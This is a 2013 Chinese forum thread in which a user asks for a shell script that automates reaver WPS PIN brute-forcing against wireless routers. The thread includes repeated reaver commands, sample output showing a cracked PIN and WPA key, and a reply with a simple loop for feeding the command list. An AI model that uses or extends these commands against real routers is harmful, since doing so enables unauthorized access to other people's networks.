免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 7139 | 回复: 1
打印 上一主题 下一主题

[系统管理] 懂Linuxt脚本的朋友请帮忙写可以根据情况依次执行命令的Script(无线路由PIN码应用 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2013-03-07 13:59 |只看该作者 |倒序浏览
本帖最后由 xzwcn 于 2013-03-10 19:21 编辑









好了,情况介绍到这儿,现在,我想有一个脚本可以这样:
在脚本中写好一些控制语句执行的命令,可以批量把要运行命令粘贴在脚本中,
脚本会根据情况执行不同的命令,以下为伪命令表述:


  1. #要运行的命令(如把第一张图的粘贴如下):
  2. reaver -i mon0 -b XX:XX:XX:XX -a -S -vv -d 0
  3. reaver -i mon0 -b XX:XX:XX:XX -a -S -vv -d 0
  4. reaver -i mon0 -b XX:XX:XX:XX -a -S -vv -d 0
  5. reaver -i mon0 -b XX:XX:XX:XX -a -S -vv -d 0
  6. reaver -i mon0 -b XX:XX:XX:XX -a -S -vv -d 0
  7. reaver -i mon0 -b XX:XX:XX:XX -a -S -vv -d 0
  8. reaver -i mon0 -b XX:XX:XX:XX -a -S -vv -d 0
  9. reaver -i mon0 -b XX:XX:XX:XX -a -S -vv -d 0
  10. reaver -i mon0 -b XX:XX:XX:XX -a -S -vv -d 0
  11. reaver -i mon0 -b XX:XX:XX:XX -a -S -vv -d 0
  12. reaver -i mon0 -b XX:XX:XX:XX -a -S -vv -d 0

  13. #要求:一次只运行其中一行命令,当出现问题【网卡断开】,如第4张图的
  14. #【飞快刷屏】
  15. /*
  16. [!] WARNING: Failed to associate with XX:XX:XX:XX (ESSID: (null))
  17. [!] WARNING: Failed to associate with XX:XX:XX:XX (ESSID: (null))
  18. [!] WARNING: Failed to associate with XX:XX:XX:XX (ESSID: (null))
  19. [!] WARNING: Failed to associate with XX:XX:XX:XX (ESSID: (null))
  20. [!] WARNING: Failed to associate with XX:XX:XX:XX (ESSID: (null))
  21. */
  22. #当出现这些屏显时,脚本将自动执行【Ctrl+C】结束【刷屏】。

  23. #当遇到【目标路由关闭】或【无法PIN】或【超时】或【PIN】速度变为【几十秒】或【PIN码成功得到】时,
  24. ---------------------------------------------------
  25. 以上为不同情况时的屏显结果:
  26. --------------------------------
  27. 【目标路由关闭】
  28. [+] Switching mon0 to channel 5
  29. [+] Switching mon0 to channel 6
  30. [!] WARNING: Failed to associate with (ESSID: XXXXX)
  31. [!] WARNING: Failed to associate with XX:XX:XX:XX (ESSID: XXXXX)
  32. [!] WARNING: Failed to associate with XX:XX:XX:XX (ESSID: )
  33. [!] WARNING: Failed to associate with XX:XX:XX:XX (ESSID: XXXXX)
  34. ^C
  35. [+] Nothing done, nothing to save.

  36. 【无法PIN,路由器没开户WPS】

  37. 【超时】
  38. [!] WARNING: Receive timeout occurred
  39. [+] Sending EAPOL START request
  40. [!] WARNING: Receive timeout occurred
  41. [+] Sending EAPOL START request
  42. [!] WARNING: Receive timeout occurred
  43. [+] Sending EAPOL START request
  44. [!] WARNING: Receive timeout occurred
  45. [+] Sending EAPOL START request
  46. [!] WARNING: Receive timeout occurred
  47. .......

  48. 【PIN速度变为【几十秒】
  49. ] Sending WSC NACK
  50. [+] 96.07% complete @ 2013-03-07 01:13:17 (34 seconds/pin)
  51. [+] Trying pin 43475636
  52. [+] Sending EAPOL START request
  53. [+] Received identity request
  54. [+] Sending identity response
  55. [+] Received M1 message
  56. [+] Sending M2 message

  57. 【PIN码成功得到】
  58. [!] WPS transaction failed (code: 0x03), re-trying last pin
  59. [+] Trying pin 43478477
  60. [+] Sending EAPOL START request
  61. [+] Received identity request
  62. [+] Sending identity response
  63. [+] Received M1 message
  64. [+] Sending M2 message
  65. [+] Received M3 message
  66. [+] Sending M4 message
  67. [+] Received M5 message
  68. [+] Sending M6 message
  69. [+] Received M7 message
  70. [+] Sending WSC NACK
  71. [+] Sending WSC NACK
  72. [+] Pin cracked in 43 seconds
  73. [+] WPS PIN: 'XXXXXX'
  74. [+] WPA PSK: 'XXXXXX'
  75. [+] AP SSID: 'XXXX'
  76. root@bt:~#
  77. ---------------------------------------------------------------------------
  78. ---------------------------------------------------------------------------
  79. #将自动停止运行当前命令,【切换】到上面的其它行命令。

  80. #接下来,就是上面工作的循环。

复制代码
懂得LINUX脚本编程的人,写起来应该不难,但我没有这方面的基础。。。
只会点Windos下的批处理,所以把上面的思路说一下,请各位指教!
是根据【屏显结果】还是【软件运行进程状态】来判断以上情况好呢?


最在最后:
大家看懂的意思了么?呵呵,有用命令进行过PIN码破解的的朋友应该能很快看懂的,
如果,这个脚本写出来后,我们的工作就轻松多了。毕竟,对一个路由的PIN码破解往往需要好
几个小时,当它出现上述问题后,除非我们当场发现,从而执行不同命令。
但现实中的情况往往是我们不可能一直坐在电脑面前看着它运行,出现问题后,马上解决。

通常它在运行时,我们是离开电脑的,如外出、晚上睡觉、看电影等的时候,开着让它PIN,
如果出现了上术问题而没有马上解决,BT5这样一直在做无用功。。这样太浪费资源了。。。

论坛徽章:
15
2015年辞旧岁徽章
日期:2015-03-03 16:54:15双鱼座
日期:2015-01-15 17:29:44午马
日期:2015-01-06 17:06:51子鼠
日期:2014-11-24 10:11:13寅虎
日期:2014-08-18 07:10:55酉鸡
日期:2014-04-02 12:24:51双子座
日期:2014-04-02 12:19:44天秤座
日期:2014-03-17 11:43:36亥猪
日期:2014-03-13 08:13:51未羊
日期:2014-03-11 12:42:03白羊座
日期:2013-11-20 10:15:18CU大牛徽章
日期:2013-04-17 11:48:45
2 [报告]
发表于 2013-03-09 14:54 |只看该作者
要当黑客,还得要自学能力强啊.看看reaver 命令里是否已经自带 timeout 参数了。设一下这个或许解决你的大部分问题了。

至于要连续读入不同的MAC地址,可以用这个脚本:
  1. while read line
  2. do
  3.    echo $line
  4. done < reaver.command.list
复制代码
成功的话,把echo去掉再运行一遍即可。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP